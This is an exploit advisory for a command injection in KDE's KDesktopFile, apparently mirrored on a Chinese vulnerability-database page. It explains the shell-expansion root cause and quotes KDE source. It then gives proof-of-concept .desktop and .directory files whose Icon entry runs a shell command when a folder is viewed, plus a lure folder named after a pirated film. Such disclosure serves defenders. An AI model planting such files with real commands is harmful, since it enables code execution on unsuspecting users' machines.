KDE 4/5 KDesktopFile Command Injection - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1692322 漏洞类型
发布时间 2019-08-06 更新时间 2019-08-06
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019080017
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
		                     _       _ 
		  _______ _ __ ___  | | ___ | |
		 |_  / _ \ '__/ _ \ | |/ _ \| |
		  / /  __/ | | (_) || | (_) | |
		 /___\___|_|  \___(_)_|\___/|_|
		    	  https://zero.lol
		 	  zero days 4 days

Title: KDE 4/5 KDesktopFile Command Injection
Date: July 28th 2019
Author: Dominik Penner / zer0pwn
Vendor Homepage: https://kde.org/
Software Link: https://cgit.kde.org
Version: 5.60.0 and below

Description:
KDE 4/5 is vulnerable to a command injection vulnerability in the KDesktopFile class. When a .desktop or .directory file is instantiated, it unsafely evaluates environment variables and shell expansions using KConfigPrivate::expandString() via the KConfigGroup::readEntry() function. Using a specially crafted .desktop file a remote user could be compromised by simply downloading and viewing the file in their file manager, or by drag and dropping a link of it into their documents or desktop.

The main issue at hand is the fact that the KDE configuration specification is inconsistent with that of XDG (freedesktop). Despite this, KDE mixes its configuration syntax with that of XDG's, allowing for dynamic configuration entries (https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion).

When we combine this /feature/ with the way KDE handles .desktop and .directory files, we can force the file to evaluate some of the entries within the [Desktop Entry] tag. Some of the entries in this tag include "Icon", "Name", etc. The exploit is dependent on the entry that gets read by the KConfigGroup::readEntry() function. Generally whenever KDE needs to display these entries is when they'll get called. So for example, if we were to browse to the malicious file in our file manager (dolphin), the Icon entry would get called in order to display the icon. Since we know this, we can use a shell command in place of the Icon entry, which in turn will execute our command whenever the file is viewed.

Theoretically, if we can control config entries and trigger their reading, we can achieve command injection / RCE. I imagine there must be more ways to abuse this, however this is the most reliable way I've discovered so far.

Exploit/POCs:

1) payload.desktop

[Desktop Entry]
Icon[$e]=$(echo${IFS}0>~/Desktop/zero.lol&)

2) .directory

[Desktop Entry]
Type=Directory
Icon[$e]=$(echo${IFS}0>~/Desktop/zero.lol&)


Now whenever the files are viewed either in Dolphin, or on the Desktop (or while browsing an SMB share w/ smb4k) your commands will execute. The command processor doesn't seem to like spaces so just use $IFS and you'll be good. For the .desktop payload, it's as simple as having a remote user view the file on their local file system. The .directory payload has another part to it. .directory files are meant for setting configuration entries for the directory itself. Meaning we can set the Icon of the parent directory, and trigger it whenever someone views the folder. This requires nesting directories.

Example:

$ mkdir Hackers.1995.720p.BrRip.x264.YIFY
$ cd Hackers.1995.720p.BrRip.x264.YIFY
$ mkdir YIFY; cd YIFY
$ vi .directory
[Desktop Entry]
Type=Directory
Icon[$e]=$(echo${IFS}0>~/Desktop/zer0.lol&)

Now whenever someone opens the "Hackers.1995.720p.BrRip.x264.YIFY" directory, the YIFY directory will attempt to load the Icon from the .directory file, executing our command(s).

The code:

----------------kdesktopfile.cpp-----------------------------------------------------
  182 QString KDesktopFile::readIcon() const
  183 {
  184     Q_D(const KDesktopFile);
  185     return d->desktopGroup.readEntry("Icon", QString()); <---------------------
  186 }
-------------------------------------------------------------------------------------

-----------------kconfiggroup.cpp----------------------------------------------------
  679 QString KConfigGroup::readEntry(const char *key, const QString &aDefault) const
  680 {
  681     Q_ASSERT_X(isValid(), "KConfigGroup::readEntry", "accessing an invalid group");
  682 
  683     bool expand = false;
  684 
  685     // read value from the entry map
  686     QString aValue = config()->d_func()->lookupData(d->fullName(), key, KEntryMap::SearchLocalized,
  687                      &expand);
  688     if (aValue.isNull()) {
  689         aValue = aDefault;
  690     }
  691 
  692     if (expand) {
  693         return KConfigPrivate::expandString(aValue); <-------------------------
  694     }
  695 
  696     return aValue;
  697 }
-------------------------------------------------------------------------------------

-----------------kconfig.cpp---------------------------------------------------------
  178 QString KConfigPrivate::expandString(const QString &value)
  179 {
  180     QString aValue = value;
  181 
  182     // check for environment variables and make necessary translations
  183     int nDollarPos = aValue.indexOf(QLatin1Char('$'));
  184     while (nDollarPos != -1 && nDollarPos + 1 < aValue.length()) {
  185         // there is at least one $
  186         if (aValue[nDollarPos + 1] == QLatin1Char('(')) {
  187             int nEndPos = nDollarPos + 1;
  188             // the next character is not $
  189             while ((nEndPos <= aValue.length()) && (aValue[nEndPos] != QLatin1Char(')'))) {
  190                 nEndPos++;
  191             }
  192             nEndPos++;
  193             QString cmd = aValue.mid(nDollarPos + 2, nEndPos - nDollarPos - 3);
  194 
  195             QString result;
  196 
  197 // FIXME: wince does not have pipes
  198 #ifndef _WIN32_WCE
  199             FILE *fs = popen(QFile::encodeName(cmd).data(), "r"); <-----------
  200             if (fs) {
  201                 QTextStream ts(fs, QIODevice::ReadOnly);
  202                 result = ts.readAll().trimmed();
  203                 pclose(fs);
  204             }
  205 #endif
-------------------------------------------------------------------------------------


Remediation:

Disable shell expansion / dynamic entries for [Desktop Entry] configurations.